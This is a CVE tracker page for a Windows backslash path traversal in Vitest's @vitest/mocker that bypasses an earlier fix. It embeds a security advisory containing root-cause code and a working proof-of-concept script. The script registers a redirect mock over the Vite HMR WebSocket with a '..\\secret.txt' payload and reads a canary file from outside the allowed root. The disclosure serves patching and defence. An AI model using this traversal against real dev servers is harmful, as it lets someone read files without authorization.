CVE-2026-112950
mediumpriority · track · 0EPSS 0.005 · 39 %ileUSEPSS · scored 2026-10-28
Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/interceptorPlugin.ts. When a client can reach the Vite dev server on Windows and register a redirect mock containing backslash traversal, POSIX joining preserves a Windows backslash traversal that the later filesystem read interprets as a path separator, so the client can read a file outside server.fs.allow that the Vitest process can access. This issue is fixed in versions 4.1.12 and 5.0.3.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-xp26-3454-mjgpVitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix2026-10-21ghsa · osvUS
## Summary The path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname. The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root. I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines: - `@vitest/mocker@4.1.11` - `@vitest/mocker@5.0.0` The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior. ## Patches Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it. ## Relationship to GHSA-82fw-gwwq-j7x9 This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted. The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore: - `4.1.11` - `>=5.0.0-rc.2, <5.0.3` Older affected releases remain covered by GHSA-82fw-gwwq-j7x9. ## Root cause `packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of: ```ts const redirect = join(server.config.root, redirectUrl.pathname) if (!isFileLoadingAllowed(server.config, redirect)) return event.redirect = redirect ``` The registered value later reaches: ```ts readFile(mock.redirect, 'utf-8') ``` Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently. The authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path. ## Preconditions and impact A client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions. The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed. ## Reproduction Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary. Install dependencies for either affected line: ```console npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3 # or npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3 node poc.mjs ``` `poc.mjs`: ```js import { mkdir, writeFile } from 'node:fs/promises' import { join } from 'node:path' import { tmpdir } from 'node:os' import { randomUUID } from 'node:crypto' import { interceptorPlugin } from '@vitest/mocker/node' import { createServer } from 'vite' import { WebSocket } from 'ws' const base = join(tmpdir(), `vitest-path-${randomUUID()}`) const root = join(base, 'root') const secret = join(base, 'secret.txt') await mkdir(root, { recursive: true }) await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY') const server = await createServer({ root, configFile: false, logLevel: 'silent', server: { fs: { allow: [root] } }, plugins: [ { name: 'validation:virtual-modules', enforce: 'pre', resolveId(id) { if (id === '/control' || id === '/bypass') return id }, }, interceptorPlugin(), ], }) await server.listen() const port = new URL(server.resolvedUrls.local[0]).port const baseUrl = server.resolvedUrls.local[0] function register(id, redirect) { return new Promise((resolve, reject) => { const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr') const timer = setTimeout(() => reject(new Error('registration timeout')), 5000) socket.on('message', (raw) => { let message try { message = JSON.parse(raw.toString()) } catch { return } if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') { clearTimeout(timer) socket.close() resolve() } }) socket.on('open', () => socket.send(JSON.stringify({ type: 'custom', event: 'vitest:interceptor:register', data: { type: 'redirect', raw: '', id, url: id, redirect }, }))) socket.on('error', reject) }) } try { await register('/control', 'traversal:../secret.txt') const controlResponse = await fetch(new URL('/control', baseUrl)) const controlBody = await controlResponse.text() await register('/bypass', 'traversal:..\\secret.txt') const bypassResponse = await fetch(new URL('/bypass', baseUrl)) const bypassBody = await bypassResponse.text() const result = { platform: process.platform, root, outsideFile: secret, slashTraversalStatus: controlResponse.status, slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'), backslashTraversalStatus: bypassResponse.status, backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'), returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null, expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1', } console.log(JSON.stringify(result, null, 2)) const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked ? !result.backslashTraversalReturnedOutsideCanary : result.backslashTraversalReturnedOutsideCanary if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1 } finally { await server.close() } ``` Observed with `@vitest/mocker@4.1.11`: ```json { "platform": "win32", "slashTraversalStatus": 404, "slashTraversalRejected": true, "backslashTraversalStatus": 200, "backslashTraversalReturnedOutsideCanary": true, "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY", "expectedBackslashTraversalBlocked": false } ``` The same result was observed with `@vitest/mocker@5.0.0`. This includes two useful controls: 1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active. 2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.
sources
Which sources assert this record, and when.
references (5) nvd
External citations — patches, advisories, analysis.
- https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35
- https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473
- https://github.com/vitest-dev/vitest/releases/tag/v4.1.12
- https://github.com/vitest-dev/vitest/releases/tag/v5.0.3
- https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan